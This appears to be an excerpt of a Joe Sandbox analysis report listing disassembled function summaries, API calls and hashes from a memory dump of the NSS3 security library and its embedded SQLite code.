Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: b23781599df550cda2372c8b9a2b65f543ad1cbd4405802384db8e309a6b7860
Instruction ID: 79ea88b1fcbb8423cd0d8289845fd35db8351fd1248ed1845f97c588f3ae3957
Opcode Fuzzy Hash: b23781599df550cda2372c8b9a2b65f543ad1cbd4405802384db8e309a6b7860
Instruction Fuzzy Hash: C641E3B0A013019FDF20DF29C88878A7BE4EF08358F10596ADC198BB46D774D885CBB9

Function 6C6C3FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C6C3FF2

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaMark_Util.NSS3(?), ref: 6C6C4001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6C6C400F

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6C6C4054

Part of subcall function 6C65BB90: PORT_NewArena_Util.NSS3(00001000), ref: 6C65BC24
Part of subcall function 6C65BB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C65BC39
Part of subcall function 6C65BB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6C65BC58
Part of subcall function 6C65BB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C65BCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6C4070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6C6C40CD

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: 85cb7722eb0d43e6c1125bf58762c9f1fb40480b9f6c4d0355d9e319e4c27fe6
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: 8A31C8B2F4034597EB00DF649D81BBA3364EF9170CF144225ED099B742FB71E96883AA

Function 6C662E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C652D1A), ref: 6C662E7E

Part of subcall function 6C6B07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C658298,?,?,?,6C64FCE5,?), ref: 6C6B07BF
Part of subcall function 6C6B07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6B07E6
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B081B
Part of subcall function 6C6B07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B0825

PR_Now.NSS3 ref: 6C662EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C662EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C652D1A), ref: 6C662F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C652D1A), ref: 6C662F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C662F81

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 6b07c725085597f8747be8f02724ca0978570fab7e286339c927f80b8baa832b
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: CA31F3715411008BE710C657CC88BAEB365EF81358F64497AD42AA7ED0EB31988AC75F

Function 6C650E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C650A2C), ref: 6C650E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C650A2C), ref: 6C650E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C650A2C), ref: 6C650E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C650A2C), ref: 6C650E90
free.MOZGLUE(00000000), ref: 6C650EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C650A2C), ref: 6C650ED9

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: b42e53ac7ee77110eb8c45b4cd58700397d176c9b4692362ba96b9ccd07ee72f
Instruction ID: b54aa62a423b8e2f24136349cc35f578237e9facc757e54bbac3f2cfb7fd2587
Opcode Fuzzy Hash: b42e53ac7ee77110eb8c45b4cd58700397d176c9b4692362ba96b9ccd07ee72f
Instruction Fuzzy Hash: 2D216E73F0028557EB0049669C45BAB76AEDFC270CFB94435D81863A02FA70C83783AA

Function 6C65AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C65AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C65AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C65AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C65AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C779500), ref: 6C65AF23

Part of subcall function 6C6AF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C6AF0C8
Part of subcall function 6C6AF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6AF122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65AF37

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: aa0b69d19508e017992ee436edc047c13a3ceb2722508d6493ee90bb48e1864c
Instruction ID: 76d532f6dcbbb6a60217a3de15781c23c83e5a06c9322c4e4e5371c539a706b7
Opcode Fuzzy Hash: aa0b69d19508e017992ee436edc047c13a3ceb2722508d6493ee90bb48e1864c
Instruction Fuzzy Hash: 56213AB19092006BEB108F18DC41BAA7BE4AF8572CF644319FC54AB782E732D51587BF

Function 6C6DEE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6DEE85
realloc.MOZGLUE(0BC4EFC3,?), ref: 6C6DEEAE
PORT_Alloc_Util.NSS3(?), ref: 6C6DEEC5

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

htonl.WSOCK32(?), ref: 6C6DEEE3
htonl.WSOCK32(00000000,?), ref: 6C6DEEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C6DEF01

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: b5986fb3c061f71d80fb6bf1c7899f0a1a922aff16bf67deae3f716e92876cab
Instruction ID: c935de0a551343cf15088d4e7650486b74cf4b0846231a25548422a6cf3a3da1
Opcode Fuzzy Hash: b5986fb3c061f71d80fb6bf1c7899f0a1a922aff16bf67deae3f716e92876cab
Instruction Fuzzy Hash: 7021D371A002159FCF109F28DC8479AB7A4EF89358F158179EC199B641E730FC15CBEA

Function 6C657F50 Relevance: 9.1, APIs: 6, Instructions: 76memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C657F68

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000002C), ref: 6C657F7B

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C657FA7

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C77919C,?), ref: 6C657FBB

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C657FCA
SEC_QuickDERDecodeItem_Util.NSS3(00000000,-00000004,6C77915C,00000014), ref: 6C657FFE

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_Arena_DecodeQuickValue$AllocateCopyCriticalEnterErrorFreeInitLockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1489184013-0
Opcode ID: 7c80116befb4ab5bd66cefca500d98078af11813fb09b1da8ffaddcae76cb2e9
Instruction ID: 7c203b54db82ad3a88a40cc6c6df7f62eeea3152c088f7e93030573c2ee79624
Opcode Fuzzy Hash: 7c80116befb4ab5bd66cefca500d98078af11813fb09b1da8ffaddcae76cb2e9
Instruction Fuzzy Hash: 591157B1D042086AE710DA25AD44FBB72ACDF4564CF500629FC59D2B41F721A968C2BE

Function 6C65BE50 Relevance: 9.1, APIs: 6, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,6C6DDC29,?), ref: 6C65BE64

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,6C6DDC29,?), ref: 6C65BE78

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(00000000,?,?,?,?,6C6DDC29,?), ref: 6C65BE96

Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B116E

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6C6DDC29,?), ref: 6C65BEBB

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6C6DDC29,?), ref: 6C65BEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6C6DDC29,?), ref: 6C65BEF3

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: 648b5bc76a39fe106231e4470b806462bc686ec6e0c590da5713f98635176478
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: 2F11DD71F002055BEB008B65ED55FAF3768EF81398F680028ED09E7740EB31D92AC7A9

Function 6C6E3C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6C6E5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6E5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E3D3F

Part of subcall function 6C65BA90: PORT_NewArena_Util.NSS3(00000800,6C6E3CAF,?), ref: 6C65BABF
Part of subcall function 6C65BA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6C6E3CAF,?), ref: 6C65BAD5
Part of subcall function 6C65BA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6C6E3CAF,?), ref: 6C65BB08
Part of subcall function 6C65BA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C6E3CAF,?), ref: 6C65BB1A
Part of subcall function 6C65BA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6C6E3CAF,?), ref: 6C65BB3B

PR_EnterMonitor.NSS3(?), ref: 6C6E3CCB

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

PR_EnterMonitor.NSS3(?), ref: 6C6E3CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6E3CF8
PR_ExitMonitor.NSS3(?), ref: 6C6E3D15
PR_ExitMonitor.NSS3(?), ref: 6C6E3D2E

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: 78ee8dcc65453962edf3349c23997cda2faaf976ce615f05c3416911d81cb3b0
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: 0C115B75A0A6006FE7205A25EC417DBB3E5EF1530CF500136E41A87B30F232F81AC74A

Function 6C6AFDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C6AFE08

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C6AFE1D

Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C6AFE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C6AFE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C6AFE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6C6AFE6F

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: e8958f3f6d710bd530286dc8b91ab4079b225fc896970217a65bb06645716fea
Instruction ID: 3f4a05c9c742616e56428bfde8db8ef3fa3682fcff5bcd5d0f55f93b194d77b2
Opcode Fuzzy Hash: e8958f3f6d710bd530286dc8b91ab4079b225fc896970217a65bb06645716fea
Instruction Fuzzy Hash: 9011E5B6600205BBEB008B95DC40A5BB798BF55399F148034F91897B12E732DD26C7AB

Function 6C75FD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6C75FD9E

Part of subcall function 6C719BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C641A48), ref: 6C719BB3
Part of subcall function 6C719BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C641A48), ref: 6C719BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6C75FDB9

Part of subcall function 6C63A900: TlsGetValue.KERNEL32(00000000,?,6C7B14E4,?,6C5D4DD9), ref: 6C63A90F
Part of subcall function 6C63A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C63A94F

PR_Unlock.NSS3 ref: 6C75FDD4
PR_Lock.NSS3 ref: 6C75FDF2
PR_NotifyAllCondVar.NSS3 ref: 6C75FE0D
PR_Unlock.NSS3 ref: 6C75FE23

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098413574.000000006C7AF000.00000008.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098446961.000000006C7B0000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098483281.000000006C7B5000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: 7e8b1fa407be745eaa828d524275a98d2c409347c2b18c981b8470a9201af768
Instruction ID: 6dd34c5b40ab76d90fec65025ae3ab606a4266a3735d782823e857ba3e508371
Opcode Fuzzy Hash: 7e8b1fa407be745eaa828d524275a98d2c409347c2b18c981b8470a9201af768
Instruction Fuzzy Hash: F501A1B6A04601ABCF058F15FD00C42B672FB022687154374E83647BE2EB22ED29D7C6

Function 6C63AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C63AFDA

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C63AFC4
misuse, xrefs: 6C63AFCE
%s at line %d of [%.10s], xrefs: 6C63AFD3
unable to delete/modify collation sequence due to active statements, xrefs: 6C63AF5C

Memory Dump Source

Source File: 00000000.00000002.2098161987.000000006C5D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2098129349.000000006C5D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098329112.000000006C76F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2098383641.000000006C7AE000.00000004.00000001.01000000.00000010.sdmpDownload File
